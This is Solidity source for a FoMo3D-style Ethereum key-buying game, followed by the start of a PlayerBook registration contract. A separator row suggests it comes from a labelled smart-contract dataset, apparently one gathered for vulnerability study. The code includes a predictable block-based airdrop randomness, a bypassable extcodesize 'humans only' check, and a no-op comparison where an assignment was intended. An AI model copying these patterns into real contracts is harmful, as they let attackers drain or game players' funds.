if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
MC2datasets.EventReturns memory _eventData_ = determinePID(_eventData_);
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
MC2datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
MC2datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
MC2datasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
MC2datasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MC2events.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit MC2events.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MC2events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MC2events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
emit MC2events.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, MC2datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MC2events.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, MC2datasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit MC2events.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, MC2datasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(MC2datasets.EventReturns memory _eventData_)
private
returns (MC2datasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, MC2datasets.EventReturns memory _eventData_)
private
returns (MC2datasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(MC2datasets.EventReturns memory _eventData_)
private
returns (MC2datasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _up = (_pot.mul(potSplit_[_winTID].up)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_up);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_up = _up.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_up > 0)
Divies.deposit.value(_up)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.UPAmount = _up;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, MC2datasets.EventReturns memory _eventData_)
private
returns(MC2datasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _up;
if (!address(Jekyll_Island_Inc).call.value(_com)(bytes4(keccak256("deposit()"))))
{
_up = _com;
_com = 0;
}
uint256 _long = _eth / 100;
otherMC2_.potSwap.value(_long)();
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit MC2events.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_up = _aff;
}
_up = _up.add((_eth.mul(fees_[_team].up)) / (100));
if (_up > 0)
{
Divies.deposit.value(_up)();
_eventData_.UPAmount = _up.add(_eventData_.UPAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit MC2events.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, MC2datasets.EventReturns memory _eventData_)
private
returns(MC2datasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].up)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, MC2datasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit MC2events.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.UPAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(
msg.sender == 0x1d85A7C26952d4a7D940573eaE73f44D0D6Fa76D ||
msg.sender == 0x5724fc4Abb369C6F2339F784E5b42189f3d30180 ||
msg.sender == 0x6Be04d4ef139eE9fd08A32FdBFb7A532Fe9eD53F ||
msg.sender == 0x53E3E6444C416e2A981644706A8E5E9C13511cf7 ||
msg.sender == 0xEeF4f752D105fEaCB288bB7071F619A2E90a34aC,
"only team just can activate"
);
require(address(otherMC2_) != address(0), "must link to other MC2 first");
require(activated_ == false, "fomo3d already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
function setOtherFomo(address _otherMC2)
public
{
require(
msg.sender == 0x1d85A7C26952d4a7D940573eaE73f44D0D6Fa76D ||
msg.sender == 0x5724fc4Abb369C6F2339F784E5b42189f3d30180 ||
msg.sender == 0x6Be04d4ef139eE9fd08A32FdBFb7A532Fe9eD53F ||
msg.sender == 0x53E3E6444C416e2A981644706A8E5E9C13511cf7 ||
msg.sender == 0xEeF4f752D105fEaCB288bB7071F619A2E90a34aC,
"only team just can activate"
);
require(address(otherMC2_) == address(0), "silly dev, you already did that");
otherMC2_ = otherMC2(_otherMC2);
}
}
library MC2datasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 UPAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 up;
}
struct PotSplit {
uint256 gen;
uint256 up;
}
}
library MC2KeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface otherMC2 {
function potSwap() external payable;
}
interface MC2SettingInterface {
function getFastGap() external returns(uint256);
function getLongGap() external returns(uint256);
function getFastExtra() external returns(uint256);
function getLongExtra() external returns(uint256);
}
interface DiviesInterface {
function deposit() external payable;
}
interface JIincForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 592 |
pragma solidity ^0.4.24;
contract PlayerBook {
using NameFilter for string;
using SafeMath for *;
address private admin = msg.sender;
uint256 public registrationFee_ = 10 finney;
uint256 pIdx_=1;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => LSDatasets.Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
modifier onlyOwner() {
require(msg.sender == admin);
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
function getPlayerID(address _addr)
public
returns (uint256)
{
determinePID(_addr);
return (pIDxAddr_[_addr]);
}
function getPlayerName(uint256 _pID)
public
view
returns (bytes32)
{
return (plyr_[_pID].name);
}
function getPlayerLAff(uint256 _pID)
public
view
returns (uint256)
{
return (plyr_[_pID].laff);
}
function getPlayerAddr(uint256 _pID)
public
view
returns (address)
{
return (plyr_[_pID].addr);
}
function getNameFee()
public
view
returns (uint256)
{
return(registrationFee_);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer);
}
function registerNameCore(uint256 _pID, address _addr, uint256 _affID, bytes32 _name, bool _isNewPlayer)
private
{
if (pIDxName_[_name] != 0)
require(plyrNames_[_pID][_name] == true, "sorry that names already taken");
plyr_[_pID].name = _name;
pIDxName_[_name] = _pID;
if (plyrNames_[_pID][_name] == false)
{
plyrNames_[_pID][_name] = true;
}
uint256 _paid=msg.value;
admin.transfer(_paid);
}
function setSuper(address _addr,bool isSuper)
onlyOwner()
public{
uint256 _pID=pIDxAddr_[_addr];
if(_pID!=0){
plyr_[_pID].super=isSuper;
}else{
revert();
}
}
